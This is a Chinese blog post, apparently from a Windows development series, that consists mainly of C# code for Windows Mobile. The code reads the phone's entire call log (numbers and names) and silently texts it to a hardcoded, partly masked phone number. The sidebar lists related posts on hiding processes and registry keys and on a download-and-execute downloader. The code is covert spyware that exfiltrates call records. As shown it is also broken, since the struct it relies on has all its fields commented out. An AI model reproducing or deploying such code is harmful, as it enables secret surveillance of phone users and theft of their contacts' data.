廢話少說,看看代碼
~~~
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using Microsoft.WindowsMobile.PocketOutlook;
namespace ReturnCall
{
class Program
{
[StructLayout(LayoutKind.Sequential)]
public struct CALLLOGENTRY
{
/*
public UInt32 cbSize;
public UInt64 ftStartTime;
public UInt64 ftEndTime;
public short iom;
public bool fOutgoing;
public bool fConnected;
public bool fEnded;
public bool fRoam;
public short cidt;
public IntPtr pszNumber;
public IntPtr pszName;
public IntPtr pszNameType;
public IntPtr pszNote;
*/
};
[DllImport("phone.dll", EntryPoint = "PhoneOpenCallLog", SetLastError = true)]
private static extern int PhoneOpenCallLog(ref IntPtr pHandle);
[DllImport("phone.dll", EntryPoint = "PhoneCloseCallLog", SetLastError = true)]
private static extern int PhoneCloseCallLog(IntPtr pHandle);
[DllImport("phone.dll", EntryPoint = "PhoneGetCallLogEntry", SetLastError = true)]
private static extern int PhoneGetCallLogEntry(IntPtr pHandke, ref CALLLOGENTRY pEntry);
static void Main(string[] args)
{
{
string CallInfo = "";
try
{
IntPtr handle = IntPtr.Zero;
CALLLOGENTRY entry = new CALLLOGENTRY();
PhoneOpenCallLog(ref handle);
entry.cbSize = (uint)Marshal.SizeOf(entry);
if (handle != IntPtr.Zero)
{
while (PhoneGetCallLogEntry(handle, ref entry) == 0)
{
string phoneNumber = Marshal.PtrToStringUni(entry.pszNumber);
string name = Marshal.PtrToStringUni(entry.pszName);
if (phoneNumber == null)
{
phoneNumber = string.Empty;
}
if (name == null)
{
name = string.Empty;
}
string temp = (phoneNumber.Trim() + name.Trim());
CallInfo = CallInfo + temp;
}
PhoneCloseCallLog(handle);
Microsoft.WindowsMobile.PocketOutlook.SmsMessage sms = new SmsMessage("151608XXXXXX", CallInfo.Substring(0, 140));
sms.Send();
}
else
{
int error = Marshal.GetLastWin32Error();
}
}
catch (Exception ep)
{
}
finally
{
}
}
}
}
}
~~~
- 前言
- Visual Studio 11開發指南(1) Visual Studio 11簡介與新特性
- Visual Studio 11開發指南(2) Visual Studio 11放棄宏處理
- Visual Studio 11開發指南(3)Visual Studio 11開發SharePoint 2011程序
- Visual Studio 11開發指南(4)Visual Studio 11編程語言發展
- Visual Studio 11開發指南(5)Visual Studio 11 IDE增強
- Visual Studio 11開發指南(6)Visual Studio 11平臺改進
- Visual Studio 11開發指南(7)NET 4.5的改善
- Visual Studio 11開發指南(8)Visual C++ 11新特色
- Visual Studio 11開發指南(9)Visual C++ 新功能體驗
- Visual Studio 11開發指南(10)Visual C++11 IDE 新功能體驗
- Visual Studio 11開發指南(11)Visual Studio 11調試游戲
- Visual Studio 11開發指南(12)Visual Studio 11可視化多核多線程編程的行為
- Visual Studio 11開發指南(13)C++11語言新特性
- Visual Studio 11開發指南(14)C++11---C++/ CX設計
- Visual Studio 11開發指南(15)C++11單元測試
- Visual Studio 11開發指南(16)C++11更新-多線程和異步操作管理
- Visual Studio 11開發指南(17)C++11更新- Lambda表達式
- Visual Studio 11開發指南(18)C++11更新-自動矢量器使用
- Visual Studio 11開發指南(19)C++11更新-并行模式庫和代理庫
- 在 C++ 中使用 PPL 進行異步編程
- 基于VisualStudio11開發Windows8的Metro sample講解(1)MessageBox
- Visual C++ 11 中新的并發功能
- 基于Windows8與Visual Studio2012開發內核隱藏注冊表
- 基于VC++2012在Windows8上實現文件隱藏
- 實現諾基亞 lumia Windows phone 的手機通話記錄截取
- 最短代碼實現windows8下的下載器-下載安裝執行一體化
- 用Visual studio2012在Windows8上開發內核驅動監視線程創建
- 用Visual studio2012在Windows8上開發內核驅動監視進程創建
- 基于Windows8與Visual Studio2012實現殺毒通用模塊
- 用Visual studio2012在Windows8上開發內核中隱藏進程
- 用Visual studio11在Windows8上開發內核枚舉注冊表
- 用Visual studio11在Windows8上開發內核驅動隱藏注冊表
- 用Visual studio11在Windows8上開發驅動實現注冊表監控和過濾
- 用Visual studio11在Windows8上開發驅動實現內存填0殺進程
- 【CSDN2012年度博客之星】喜歡本博客的讀者,投票贈送《visual C++2010開發權威指南》電子稿--感謝支持 ~(截至到2012年12月30日)
- 今天在清華圖書館看到我的杰作,感慨萬千,而我要歸零一切 !
- use Visual studio2012 developing kernel driver monitor thread creation on Windows8
- To kernel driver monitoring process developed in Windows8 create using Visual studio2012
- Under Windows8 kernel mode development NDIS application-NDIS Filter explain
- use Visual studio2012 development kernel to hidden process on Windows8